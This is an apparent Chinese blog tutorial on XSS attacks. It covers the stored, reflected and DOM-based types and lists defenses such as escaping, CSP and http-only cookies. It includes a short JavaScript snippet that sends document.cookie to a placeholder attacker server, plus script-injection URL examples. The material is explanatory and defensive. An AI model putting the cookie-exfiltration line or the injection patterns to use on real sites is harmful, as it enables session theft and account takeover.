xss攻击是什么?

XSS 是什么?

XSS,即跨站脚本攻击,是 Cross-site scripting 的简称。

完整名称缩写后本该是 CSS,但这恰好与 层叠样式表 Cascading Style Sheets 的缩写撞车了,为了加以区分,便采用了 XSS 这个叫法。

XSS,归根结底属于代码注入。借助某种途径在目标网站中插入一段恶意脚本,当访客浏览该站点时便会触发这段代码。

攻击手段大致包含以下几类:

  • 窃取用户的登录凭据,得手后登入账户窃取隐私数据

const img = new Image();
img.src = 攻击者的服务器_ip + document.cookie;

  • 直接执行某些需要授权才能完成的操作,例如替站内某人投票。
  • 针对小型站点发起 Dos 攻击。所谓 Dos 就是在极短时间内发送海量请求,使网站来不及响应,造成服务不可用。假设你在百度首页成功植入了恶意脚本,该脚本持续向某个小站发起请求。与此同时大量用户打开百度首页,请求量就变得极其惊人,小站直接瘫痪。

XSS 分类

XSS 主要包含:存储型 XSS、反射型 XSS、以及 DOM 型 XSS。

存储型 XSS

恶意脚本被永久性地存放在数据库里。

例如在个人简介的文本字段中,写入了 <script>// 此处为一段恶意代码</script>。当访客打开攻击者的个人主页时,若服务端渲染直接采用了这段数据,且未做任何转义处理,生成的 HTML 里便夹带了这段脚本,随即执行。

反射型 XSS

部分网页会把 URL 中的某些参数当作页面内容来渲染。

比如我们期望用户完成支付后跳转至结果页,该页面通过 URL 中的查询字符串来展示信息,例如 http://a.com/order?message=成功,我们会取出 message 的值”成功”,把这段文字渲染到页面上。

倘若这个”成功”被攻击者替换成恶意脚本,变为 http://a.com/order?message=<script>// 恶意脚本内容</script>,且站点未做转义处理,那么这段恶意脚本就会被嵌入并执行。

当然这类链接看起来很异常,用户正常情况下不会接触到。

于是攻击者需要提前构造好,再通过某些手段引导用户去访问,比如借助钓鱼邮件诱导点击。

DOM 型 XSS

DOM 型 XSS 与反射型较为相似,但它跟后端没有关系,属于前端的漏洞。

前两种类型采用的是服务端渲染,即用户请求 HTML 时,由服务端组装好完整的 HTML 返回。

DOM 型 XSS 则是服务端并未返回完整的 HTML,而是交由前端来拼接渲染,若未做特殊处理,同样会引发恶意代码注入。

XSS 防御

  • 不要轻信用户提交的数据;
  • 运用转义,通常是对 '&<> 进行转义。例如 React 已对字符做了防 XSS 处理,源码位置:https://github.com/facebook/react/blob/HEAD/packages/react-dom/src/server/escapeTextForBrowser.js#L51
  • 若采用后端渲染,也务必做好转义或过滤处理;
  • 部署 CSP(内容安全策略)。Twitter 站点就应用了该策略;
  • 对敏感 cookie 加上 http-only 标记,使前端脚本无法读取;
  • cookie 的 SameSite 属性建议调整为 Strict 或 Lax,让跨域 HTTP 请求的头部无法自动附带 cookie;
  • 发起敏感操作时,增加验证码验证;
  • 限制内容输入长度(效果有限);

结尾

XSS 攻击属于一种相当普遍的代码注入类攻击。

日常开发中,需留意哪些数据在渲染时可能存在 XSS 注入隐患,做好必要的防护措施,希望本文对你有所启发。

原创文章,作者:余初云,如若转载,请注明出处:https://blog.jidcy.com/jsjc/2882.html

Like (1)
Previous 2026年6月8日
Next 2026年6月8日

相关推荐

  • 如何在Ubuntu 18.04上安装MongoDB

    MongoDB是最流行的非关系型或NoSQL开源DBMS之一。它管理以JSON格式提供并以集合形式组织的文档中的数据的存储和表示,特别适用于需要更大的可伸缩性、扩展的速度和易用性以…

    2026年5月29日
    0
  • 家用电脑连开 3 天就罢工,服务器可以全年不关机?差距太离谱!

    不知道大家有没有过这样的疑惑: 服务器常年7×24小时不间断运行,一年到头不关机、不休息,稳定得离谱。可自己家里的电脑、笔记本,连续开几天不关机,就开始发烫、卡顿、风扇狂转,甚至莫…

    2026年7月21日
    0
  • 什么是 LAMP 堆栈?LAMP 用于什么?

    LAMP堆栈是一种流行的软件组合,通过开源组件来构建和交付网络应用程序。 开发人员基本都知道LAMP,因为自20世纪90年代末以来,它就一直是网络开发的常用工具。LAMP堆栈以开源…

    2026年4月29日
    0
  • 塔式服务器是什么?

    塔式服务器其实是由电脑主机演变而来的,只是在可靠性、稳定性、通用性、信息处理能力上更为出色的电脑主机。一般来说个人电脑也能充当网络服务器,只需装上服务器系统即可,但普通电脑主机往往…

    2026年7月6日
    0
  • 什么是服务器性能监控?

    服务器性能监控,简单来说就是对服务器的各类系统资源进行实时观测,包括CPU使用率、内存占用、存储容量、I/O性能以及网络运行状态等。 做好这项工作,能帮我们及时发现服务器的各种异常…

    2026年4月23日
    0
  • SQL DDL 是什么? 五个指令一次学会:CREATE、ALTER、TRUNCATE、DROP、RENAME

    SQL 有四大分类: DDL(数据定义语言)负责处理表格的「结构」。 DML(数据操作语言)负责处理表格的「资料」。 DCL(数据控制语言)负责处理「权限」。 TCL(事务控制语言…

    2026年5月13日
    0
  • 云原生是什么?到底解决什么问题?

    云计算普及的同时,”云原生”这个新的应用分类也随之出现。这个词越来越频繁地出现在开发者对话和技术文章中,却因为过度使用成了一个时髦词汇,反而让真正有价值的技…

    2026年4月11日
    0
  • Linux服务器卡顿了如何排查?

    今天分享一下Linux服务器卡顿了如何排查,这是运维新手的必修课,建议认真读完,建立整个排查思路非常重要。 生产环境验证过的 Linux 卡顿六步定位法:系统负载–》C…

    2026年5月7日
    0
  • DDoS攻击为何抵御难度大?

    DDoS攻击属于一种普遍的网络攻击手段,它运用分布、协同的大规模攻击模式直接或间接地借助互联网上其他被控制的计算机攻击目标系统或者网络资源,拥有极高的隐匿性和极强的摧毁力。 一、分…

    2026年6月4日
    0
  • 反向代理服务器是什么?

    我们经常会碰到”反向代理服务端”这个术语,比如常见文章里提到 nginx 是一款反向代理服务端……下面就来认识下这个概念 含义 “反向代理服务端…

    2026年5月29日
    0